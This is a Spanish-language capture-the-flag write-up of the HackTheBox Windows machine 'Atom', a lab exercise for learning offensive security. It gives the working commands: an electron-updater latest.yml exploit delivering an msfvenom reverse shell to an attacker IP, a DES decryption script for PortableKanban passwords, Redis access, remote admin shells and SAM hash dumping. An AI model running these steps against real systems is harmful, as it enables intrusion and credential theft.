Atom Write-UP | HackTheBox

Atom Write-UP | HackTheBox

Descripción

En esta máquina Atom de la plataforma Hackthebox con dificultad «Medium» y OS Windows, haremos uso de exploit para el módulo Electron-Updater del gestor de paquetes NPM de Node.js, encontraremos archivos de configuración de Redis y KanBan para realizar escalada de privilegios, para así llegar a obtener privilegios máximos en el sistema.

Como punto a comentar, la dirección IP de la máquina activa y la que se muestran en las imágenes y/o comandos utilizados son diferentes, ya que se ha utilizado instancia personal para la realización de dicho laboratorio.

Escaneo y Enumeración

Comenzaremos como siempre con una traza ICMP para identificar el tipo de SO que utiliza la máquina objetivo en base al TTL.

Nos encontramos con una máquina de SO Windows:

> ping -c 1 10.129.173.50                                                      
PING 10.129.173.50 (10.129.173.50) 56(84) bytes of data.
64 bytes from 10.129.173.50: icmp_seq=1 ttl=127 time=52.1 ms

--- 10.129.173.50 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.058/52.058/52.058/0.000 ms

Hacemos uso de la herramienta NMAP para descubrir puertos abiertos:

# Nmap 7.91 scan initiated Wed Jul 14 09:50:02 2021 as: nmap -T5 -p- --open --min-rate 5000 -Pn -n -v -oG allPorts -oN atom.initScan 10.129.173.50
Nmap scan report for 10.129.173.50
Host is up (0.054s latency).
Not shown: 65529 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
443/tcp  open  https
445/tcp  open  microsoft-ds
5985/tcp open  wsman
6379/tcp open  redis

Lanzamos nuevamente NMAP para intentar descubrir vulnerabilidades conocidas y versión utilizada por los servicios corriendo en los puertos abiertos encontrados:

# Nmap 7.91 scan initiated Wed Jul 14 09:50:28 2021 as: nmap -sC -sV -p80,135,443,445,5985,6379 -Pn -n -v -oN atom.services 10.129.173.50
Nmap scan report for 10.129.173.50
Host is up (0.050s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        Redis key-value store
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\\x00
|   Workgroup: WORKGROUP\\x00
|_  System time: 2021-07-14T00:50:47-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-14T07:50:48
|_  start_date: N/A

Puertos interesantes como 445 (SMB), 5985 (WinRM) y 6379 (Redis).

Redis es un motor de base de datos en memoria, basado en el almacenamiento en tablas de hashes pero que opcionalmente puede ser usada como una base de datos durable o persistente.

Utilizamos la herramienta whatweb para identificar de una pasada el sitio web ya que tiene servicio HTTP corriendo en puerto 80:

> whatweb <http://10.129.173.50>
<http://10.129.173.50> [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.129.173.50], OpenSSL[1.1.1j], PHP[7.3.27], Script, Title[Heed Solutions]

> whatweb <https://10.129.173.50>
<https://10.129.173.50> [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.129.173.50], OpenSSL[1.1.1j], PHP[7.3.27], Script, Title[Heed Solutions]

Como tiene certificado SSL para HTTP, pasamos a enumerar el puerto 443 con Openssl para ver si encontramos algún subdominio:

> echo | openssl s_client -connect 10.129.173.50:443  
          
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=66:EE certificate key too weak
verify return:1
depth=0 CN = localhost
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = localhost
verify error:num=10:certificate has expired
notAfter=Nov  8 23:48:47 2019 GMT
verify return:1
depth=0 CN = localhost
notAfter=Nov  8 23:48:47 2019 GMT
verify return:1
---
Certificate chain
 0 s:CN = localhost
   i:CN = localhost
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
-----END CERTIFICATE-----
subject=CN = localhost

issuer=CN = localhost

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 847 bytes and written 363 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 1024 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
DONE

No encontramos nada interesante.

Abrimos el navegador y visitamos la dirección IP para ver que nos encontramos:

Vemos que se trata de una aplicación llamada Heed, la cual parece como un gestor de notas. Podemos descargar el binario de Windows «heed_setup_v1.0.0.zip» pero por ahora no nos aporta nada interesante, pero es importante quedarnos con el nombre de esta aplicación.

Podríamos lanzar Gobuster para encontrar rutas de acceso posible, pero ya os adelanto que no van por ahí los tiros.

Pasamos a enumerar la máquina con CrackMapExec para identificar la máquina en la cual estamos trabajando, ya que tiene el puerto 445 como Open:

> crackmapexec smb 10.129.173.50                                                          
SMB         10.129.173.50   445    ATOM             [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)

Perfecto, como tiene el SMB Abierto, vamos a tirar de smbclient y smbmap para identificar recursos y permisos en estos:

> smbclient -L //10.129.173.50 -N                                       

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Software_Updates Disk

> smbmap -H 10.129.173.50 -u 'null'
[+] Guest session       IP: 10.129.173.50:445   Name: 10.129.173.50                                     
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        Software_Updates                                        READ, WRITE

Encontramos un recurso compartido con nombre Software_Updates y como vemos tenemos permisos de Lectura y Escritura. Vamos a montar el recurso con CIFS y así listamos los archivos que este contiene:

> mount -t cifs //10.129.173.50/Software_Updates /mnt/share 
Password for [email protected]//10.129.173.50/Software_Updates: #EMPTY

> cd /mnt/share; tree                           
.
├── client1
├── client2
├── client3
└── UAT_Testing_Procedures.pdf

3 directories, 1 file

Encontarmos un archivo PDF con lo que parece ser unos procedimientos, abrimos este archivo:

Como vemos, tiene el mismo nombre que la aplicación que hemos encontrado en el servicio Web y nos indica que está desarrollado con Electron-Builder. También nos indica que si queremos iniciar el Aseguramiento de calidad (QA), debemos colocar la actualización en uno de los directorios Clientes y el equipo de QA lo testeará y realizará la actualización e instalación.

Bueno, anteriormente al enumerar los recursos de SMB, hemos contrado 3 directorios Cliente que se encontraban vacíos, así que nos tocará buscar que es Electron-Builder y posibles exploits que puedan existir.

Realizando búsquedas en google sobre esta herramienta Electron-Builder, encontramos que está desarrollada en Node.js y que se trata de una plataforma para aplicaciones basadas en ElectronJs y que se emplea con frecuencia para actualizaciones de software.

Si tratamos de buscar vulnerabilidades o exploits, llegamos a un blog en el cual tratan sobre un exploit que afecta a Electron-Updater:

A grandes rasgos, nos indica que creando un archivo llamado latest.yml y con la ruta a un binario malicioso que contenga una comilla simple en el nombre, el script en powershell que se encarga de la comprobación de los paquetes a actualizar, desencadenará un error en la sintaxis del script y ejecutará sin advertencias el binario indicado en la ruta.

La sitaxis para el archivo latest.yml que nos indican en el blog encontrado es la siguiente:

version: 1.2.3
files:
  - url: v’ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'

Antes de crear el binario malicioso, vamos a identificar como funciona por detrás indicando la URL como Path y poniendo NC a la escucha en el puerto 80.

Creamos el archivo latest.yml con la siguiente sintaxis:

> cat -p latest.yml

version: 1.2.3
path: <http://10.10.14.14/test>
sha512: 12345 # No importa, ponemos el que queramos

Copiamos el archivo latest.yml a cualquiero directorio Client que hemos enumerado anteriormente y esperamos:

> cp latest.yml /mnt/share/client1/. 

Y obtenemos en netcat la siguiente petición GET:

> nc -lvnp 80

Listening on 0.0.0.0 80
Connection received on 10.129.173.50 57919
GET /test.blockmap HTTP/1.1
Host: 10.10.14.14
Connection: keep-alive
Content-Length: 0
accept: */*
User-Agent: electron-builder
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Explotación

Vale, vemos que efectivamente se realiza una petición como se indica. Pasamos a crear el binario malicioso para que se instale en la máquina cuando se realice la llamada.

> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 -f exe -o r\\'everse.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: r'everse.exe

Recordad que es importante meter la comilla simple en el nombre del binario para que este escape al contexto del script de Powershell justo en la variable «${tempUpdateFile}» y se ejecute directamente. Con CrackMapExec hemos identificado que se trata de Windows 10 Pro x64.

En este punto si que hay que añadir el hash sha512 del binario creado ya que este comprobará si efectivamente pertenece al binario que está llamando. No hace falta pasarlo a base64 como indican en el blog:

> sha512sum r\'everse.exe | cut -f 1 -d " " 
6b9f240c964ceb668e139e44529ea07ffbde1c4995be5ca6c30112f7598ecf7b8b7ba12ea2225760b06660a26da0f3fdee060035d6f659c97833192dc805d31a

El archivo latest.yml quedará de la siguiente forma:

 > cat -p latest.yml 
version: 1.2.3
path: <http://10.10.14.14/r'everse.exe>
sha512: 6b9f240c964ceb668e139e44529ea07ffbde1c4995be5ca6c30112f7598ecf7b8b7ba12ea2225760b06660a26da0f3fdee060035d6f659c97833192dc805d31a

Dejamos netcat a la escucha en el puerto indicado en el binario creado con msfvenom, levantamos nuestro servidor web con python para compartir el binario y copiamos el archivo latest.yml al directorio Client elegido.

Esperamos la petición GET:

> rlwrap nc -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 10.129.173.50 58028
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32> whoami
atom\jason

User Flag

Una vez hemos obtenido shell con privilegios de usuario Jason, pasamos a mostrar la flag user.txt:

C:\Users\jason\Desktop> type user.txt
33931a61b700d611f8cc3c3da55582c4

Enumeramos permisos de usuario y privilegios:

C:\WINDOWS\system32> whoami /all

USER INFORMATION
----------------

User Name  SID                                           
========== ==============================================
atom\\jason S-1-5-21-1199094703-3580107816-3092147818-1002

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\\Medium Mandatory Level Label            S-1-16-8192                                                    

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
C:\WINDOWS\system32> net user jason
User name                    jason
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            3/30/2021 1:14:57 PM
Password expires             Never
Password changeable          3/30/2021 1:14:57 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   7/14/2021 12:39:02 AM

Logon hours allowed          All

Local Group Memberships      *Users                
Global Group memberships     *None                 
The command completed successfully.

Enumerando el sistema encontramos en el directorio Downloads archivos interesantes sobre PortableKanBan:

C:\Users\jason\Downloads> dir
 
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\\Users\\jason\\Downloads

04/02/2021  08:00 AM    <DIR>          .
04/02/2021  08:00 AM    <DIR>          ..
03/31/2021  02:36 AM    <DIR>          node_modules
04/02/2021  08:21 PM    <DIR>          PortableKanban
               0 File(s)              0 bytes
               4 Dir(s)   5,603,115,008 bytes free

C:\\Users\\jason\\Downloads> cd PortableKanBan

C:\\Users\\jason\\Downloads\\PortableKanBan> dir
 
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\\Users\\jason\\Downloads\\PortableKanban

04/02/2021  08:21 PM    <DIR>          .
04/02/2021  08:21 PM    <DIR>          ..
02/27/2013  08:06 AM            58,368 CommandLine.dll
11/08/2017  01:52 PM           141,312 CsvHelper.dll
06/22/2016  09:31 PM           456,704 DotNetZip.dll
04/02/2021  07:44 AM    <DIR>          Files
11/23/2017  04:29 PM            23,040 Itenso.Rtf.Converter.Html.dll
11/23/2017  04:29 PM            75,776 Itenso.Rtf.Interpreter.dll
11/23/2017  04:29 PM            32,768 Itenso.Rtf.Parser.dll
11/23/2017  04:29 PM            19,968 Itenso.Sys.dll
11/23/2017  04:29 PM           376,832 MsgReader.dll
07/03/2014  10:20 PM           133,296 Ookii.Dialogs.dll
04/02/2021  07:17 AM    <DIR>          Plugins
04/02/2021  08:22 PM             5,920 PortableKanban.cfg
01/04/2018  09:12 PM           118,184 PortableKanban.Data.dll
01/04/2018  09:12 PM         1,878,440 PortableKanban.exe
01/04/2018  09:12 PM            31,144 PortableKanban.Extensions.dll
04/02/2021  07:21 AM               172 PortableKanban.pk3.lock
09/06/2017  12:18 PM           413,184 ServiceStack.Common.dll
09/06/2017  12:17 PM           137,216 ServiceStack.Interfaces.dll
09/06/2017  12:02 PM           292,352 ServiceStack.Redis.dll
09/06/2017  04:38 AM           411,648 ServiceStack.Text.dll
01/04/2018  09:14 PM         1,050,092 User Guide.pdf
              19 File(s)      5,656,416 bytes
               4 Dir(s)   5,603,028,992 bytes free

Escalada de privilegios

KanBan en pocas palabras, es un gestor de tareas a través de un tablero. Permite realizar flujos de trabajo, etc. Parecido a Trello, no sé si lo conocéis…

Viendo los archivos, nos llaman la atención 2 de ellos:

  • PortableKanban.cfg
  • PortableKanban.pk3.lock
C:\Users\jason\Downloads\PortableKanban> type PortableKanBan.pk3.lock
{"MachineName":"ATOM","UserName":"jason","SID":"S-1-5-21-1199094703-3580107816-3092147818-1002","AppPath":"C:\\Users\\jason\\Downloads\\PortableKanban\\PortableKanban.exe"}

C:\Users\jason\Downloads\PortableKanban> type PortableKanBan.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"" [...]

Interesante, tenemos lo que parece ser una contraseña cifrada y que hace referencia a Redis, el cual hemos enumerado anteriormente con NMAP y que se encuentra en el puerto 6379 y está público.

Como no sabemos hasta el momento como decodear la contraseña, búscamos en google para ver que encontramos. Llegamos a exploit-db, lo cual es lo mismo que searchploit:

> searchsploit kanban
------------------------------------------------------------------------ ---------------------------------│
 Exploit Title                                                          |  Path                           │
------------------------------------------------------------------------ ---------------------------------│
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval            | windows/local/49409.py          │
------------------------------------------------------------------------ ---------------------------------

Movemos el script de python a nuestro directorio. Visuzalizamos, ejecutamos y no funciona…Perfecto.

Bueno, modificando un poco el código del script y quedándonos únicamente con el contenido de la función decode(), tendremos lo siguiente:

> cat -p portable_kanban.py 

import json
import base64
from des import * #python3 -m pip install des
import sys

hash = 'Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb'

hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print("Password: " + key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

Creamos una variable «hash» y añadimos la contraseña cifrada que hemos encontrado.

Ejecutamos el scritp con python3:

> python3 portable_kanban.py
Password: kidvscat_yes_kidvscat

Obtenemos la contraseña de lo que parece ser la autenticación para Redis, el cual hemos visto que se trata como de un tipo de base de datos en memoria de tipo hash o clave-valor.

En Kali o Parrot, tenemos disponible de forma nativa la herramienta de redis-cli, el cual nos permite interactuar con el servicio Redis de un equipo remoto:

> redis-cli -h 10.129.173.50 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.

10.129.173.50:6379>

Sitaxis:

  • h <hostname> Server hostname (default: 127.0.0.1)
  • a <password> Password to use when connecting to the server.

Solo nos queda enumerar las posibles bases de datos, tablas, etc.

10.129.173.50:6379> keys *
1) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
2) "pk:ids:MetaDataClass"
3) "pk:ids:User"
4) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"

10.129.173.50:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"

Uuhh, vemos que se trata de otra contraseña cifrada del usuario Administrator y muy parecida al hash de la contraseña anterior que nos ha permitido obtener las credenciales de Redis, por lo que volvemos al script que hemos modificado y le asignamos como valor a la variable hash que hemos creado está última contraseña cifrada:

> cat -p portable_kanban.py

import json
import base64
from des import * #python3 -m pip install des
import sys

hash = 'Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'

hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print("Password: " + key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

> python3 portable_kanban.py
Password: [email protected]

Podemos verificar si la contraseña obtenida es del usuario Admnistrator con CrackMapExec:

> crackmapexec smb 10.129.173.50 -u Administrator -p [email protected] -d ATOM
SMB         10.129.173.50   445    ATOM             [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
SMB         10.129.173.50   445    ATOM             [+] ATOM\Administrator:[email protected] (Pwn3d!)

Vemos que las credenciales son correctas.

Una vez obtenida la contraseña en claro, solo nos queda autenticarnos a nivel de sistema con el usuario Administrator:

  • Evil-WinRm
> evil-winrm -i 10.129.173.50 -u Administrator -p [email protected]

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
  • pth-winexe
> pth-winexe -U ATOM/Administrator%[email protected] //10.129.173.50 cmd.exe
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
atom\administrator
  • psexec.py
psexec.py ATOM/Administrator:[email protected]@10.129.173.50 cmd.exe 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.173.50.....
[*] Found writable share ADMIN$
[*] Uploading file pRfJZUtc.exe
[*] Opening SVCManager on 10.129.173.50.....
[*] Creating service VBYm on 10.129.173.50.....
[*] Starting service VBYm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

Ya por útlimo, podríamos dumpear los hashes del archivo SAM de los usuarios del sistema:

> crackmapexec smb 10.129.173.50 -u Administrator -p [email protected] -d ATOM --sam
SMB         10.129.173.50   445    ATOM             [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
SMB         10.129.173.50   445    ATOM             [+] ATOM\\Administrator:[email protected] (Pwn3d!)
SMB         10.129.173.50   445    ATOM             [+] Dumping SAM hashes
SMB         10.129.173.50   445    ATOM             Administrator:500:aad3b435b51404eeaad3b435b51404ee:7df7256dc47d2125d825058b2f89ff38:::
SMB         10.129.173.50   445    ATOM             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.173.50   445    ATOM             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.173.50   445    ATOM             WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e3f92dc41d4f0be7e38ed5f0db92c356:::
SMB         10.129.173.50   445    ATOM             jason:1002:aad3b435b51404eeaad3b435b51404ee:499aef4877d2d83e548a3e8f5f742ffe:::
SMB         10.129.173.50   445    ATOM             [+] Added 5 SAM hashes to the database

Root Flag

Una vez hemos obtenido shell privilegiada con usuario Administrator, podemos visualizar la flag root.txt:

> *Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ecb6df7498c0776c87c28999b6022760

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *